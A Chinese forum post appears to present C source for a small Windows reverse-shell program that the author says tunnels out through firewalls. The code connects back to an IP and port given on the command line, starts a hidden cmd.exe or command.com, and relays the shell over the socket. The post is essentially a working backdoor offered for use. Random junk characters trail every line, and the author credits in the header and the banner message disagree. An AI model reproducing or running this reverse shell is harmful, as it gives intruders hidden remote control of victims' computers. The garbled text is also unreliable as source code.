这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Bv=
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/* ============================== @k|V4
Rebound port in Windows NT Lm!/iseGv
By wind,2006/7 >+/2g
===============================*/ WLO4P
#include ryC7O'j_P
#include iJ-z&=dOe
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#pragma comment(lib,"wsock32.lib") 5 R*
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void OutputShell(); oJ:\8>)9
SOCKET sClient; .!oYIF*0zC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Xur{nk~?
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void main(int argc,char **argv) qk+RZ>T<o
{ ep ,"@,,
WSADATA stWsaData; C>MEgGP
int nRet; p%ve1>c
SOCKADDR_IN stSaiClient,stSaiServer; VR'R7
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if(argc != 3) XCo3pB
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{ :l;SG=scx
printf("Useage:\n\rRebound DestIP DestPort\n"); w3<%wN>tE
return; 0gIJ&h6*f
} ?q*,,+'0
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WSAStartup(MAKEWORD(2,2),&stWsaData); $2kZM4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?D\6@G:,#@
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stSaiClient.sin_family = AF_INET; }hm"49,O
stSaiClient.sin_port = htons(0); 3*v&6/K
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Gg,&~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c}-WK*v
{ EqYBT
printf("Bind Socket Failed!\n"); Vm"{m/K0
return; jYxmU8
} B-.QGf8K.
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stSaiServer.sin_family = AF_INET; o-}q|tD$<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =/Lwprj
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L>ruNw'-K
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^&|KuI+u
{ n>o0PtGxC
printf("Connect Error!"); o4U[;.?c
return; Z'<I
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} R'z
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OutputShell(); ir?Y>
} K^yZfpa8
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void OutputShell() &F 3'tf?
{ &OXWD]5$6
char szBuff[1024]; N
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SECURITY_ATTRIBUTES stSecurityAttributes; !l7D1i~
OSVERSIONINFO stOsversionInfo; -*nd5(lY&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HX`>"
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STARTUPINFO stStartupInfo; z0F'zN3J
char *szShell; ;,2;J3,pA
PROCESS_INFORMATION stProcessInformation; dBeZx1Dy
unsigned long lBytesRead; aGx[?}=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .B? J@,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9^zA(
stSecurityAttributes.lpSecurityDescriptor = 0; oScKL#Hu
stSecurityAttributes.bInheritHandle = TRUE; tB<2mjg
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); scZSnCrR
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |%tI!RN):
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 713)D4y}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ixjhZk i<
stStartupInfo.wShowWindow = SW_HIDE; FG{45/0We
stStartupInfo.hStdInput = hReadPipe; F<Y>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "b6ew2\
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GetVersionEx(&stOsversionInfo); (RM;T @`
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switch(stOsversionInfo.dwPlatformId) >$/PfyY7@#
{ |WUm;o4E`U
case 1: ln&9WF\I
szShell = "command.com"; 3x6@::s~
break; Z&MfE0F/B
default: Z{p62|+Ck@
szShell = "cmd.exe"; {{+woL'C
break; ;p] f5R^
} :L&d>Ii|'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6d#:v"^,
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send(sClient,szMsg,77,0); +}Q@{@5w
while(1) ]ff5MY 36
{ ,Srj38p
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +=JJ=F)
if(lBytesRead) W>2m%q
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{ 4/+P7.}ea-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?]Wg{\NC6
send(sClient,szBuff,lBytesRead,0); =.9uuF:
} /)LI1\o
else r)/nx@x
{ :dM
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lBytesRead=recv(sClient,szBuff,1024,0); O~L/>Ya
if(lBytesRead<=0) break; iI@m e=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {T(z@0Xu
} 0%OV3`
} vN8Xq+
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return; a?gziCmS?C
}